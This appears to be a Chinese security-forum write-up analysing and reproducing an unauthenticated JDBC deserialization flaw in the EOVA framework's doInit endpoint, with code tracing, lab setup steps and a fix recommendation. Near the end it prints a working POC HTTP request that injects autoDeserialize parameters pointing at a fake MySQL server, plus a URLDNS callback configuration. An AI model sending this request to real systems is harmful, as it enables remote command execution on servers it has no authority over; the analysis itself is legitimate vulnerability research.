问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
EOVA未授权反序列化漏洞
漏洞分析
EOVA存在JDBC反序列化漏洞,由于JDBC连接mysql服务器的时候,参数完全可控,可传入恶意配置和恶意mysql服务器地址,导致反序列化漏洞。攻击者可利用该漏洞执行任意命令。
一、漏洞简介 ------ EOVA是一个基于JFinal开发平台的快速开发框架,旨在提供高效、易用的开发工具和组件,以简化开发过程。其设计理念是“简单才是高科技”,强调通过简化开发流程来提高效率,降低开发成本。 EOVA存在JDBC反序列化漏洞,由于JDBC连接mysql服务器的时候,参数完全可控,可传入恶意配置和恶意mysql服务器地址,导致反序列化漏洞。攻击者可利用该漏洞执行任意命令。 二、影响版本 ------ `Eova V1.6 三、漏洞原理分析 -------- 这块漏洞的成因是 JDBC 连接 mysql 服务器的时候,参数完全可控,可传入恶意配置和恶意 mysql 服务器地址,导致反序列化漏洞。 从 `gitee` 看到有师傅提了漏洞在`doInit` 接口  从代码中可以找到他的实现类 `eova-1.6-beta5.jar! com.eova.core.IndexController#doInit`  很明显可以看到获取请求中的一些参数,然后把拼接到 `local_url` 变量 然后跟进 `JdbcUtil.initConnection` 函数,这函数作用就是获取 MySQL 驱动建立和数据库的连接  我们可以调试一下,在 `doInit` 函数打上断点,发起请求  可以看到和我们分析的一样,这块需要注意的 `poc` 中的 `&` 需要 `url` 编码,在最后可以通过 `#`来注释后边的内容  之后再来分析一下鉴权,这块使用的是 `JFinal` 这个国产框架 从拦截器中我们看到回去匹配 `excludes` 中的接口直接放行  然后 `doInit` 这个接口就在其中  四、环境搭建 ------ 1、下载源码 ```php https://gitee.com/eova/eova/repository/archive/V1.6-beta5.zip ``` 2、建库 ```php sql\\mysql\\demo.sql+eova.sql 分别创建demo和eova两个库,DB编码UTF-8 ```  3、修改配置 ```php src\\main\\resources\\default\\jdbc.config 修改JDBC配置 ```  4、使用 `Maven` 加载其所需的依赖  5、Windows 操作系统双击 Maven-Windows-Run-Eova. Bat  6、获取秘钥   五、漏洞复现 ------ 使用工具:[https://github.com/fnmsd/MySQL\_Fake\_Server](https://github.com/fnmsd/MySQL_Fake_Server) `Yakit` 生成一个域名  修改配置文件 ```php "yso":{ "URLDNS":\["URLDNS","http://ryzyfacocf.dgrh3.cn"\] } ``` 启动脚本  POC ```php POST /doInit HTTP/1.1 Host: Sec-Fetch-Dest: document Cache-Control: max-age=0 Sec-Fetch-User: ?1 Sec-Fetch-Site: none sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Language: zh-CN,zh;q=0.9 Sec-Fetch-Mode: navigate Cookie: JSESSIONID=1diwaoe2lud2k1w5bzj9gy0r9v; \_jfinal\_captcha=ec1807bb391d443f9730b7b18384157a sec-ch-ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br, zstd Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded ip=127.0.0.1:3333%2Ftest%3FautoDeserialize=true%26statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor%26user=URLDNS%26Yu9=Yu9%23&port=&username=root&password=123456 ``` 发送之后   六、总结 ---- 漏洞的成因就是因为 `JDBC` 的 `url` 可控,修复建议更新 `jdbc` 驱动或新增 `jdbc` `url` 参数黑名单!
发表于 2024-09-02 09:36:02
阅读 ( 10026 )
分类:
CMS
3 推荐
收藏
0 条评论
请先
登录
后评论
Yu9
3 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!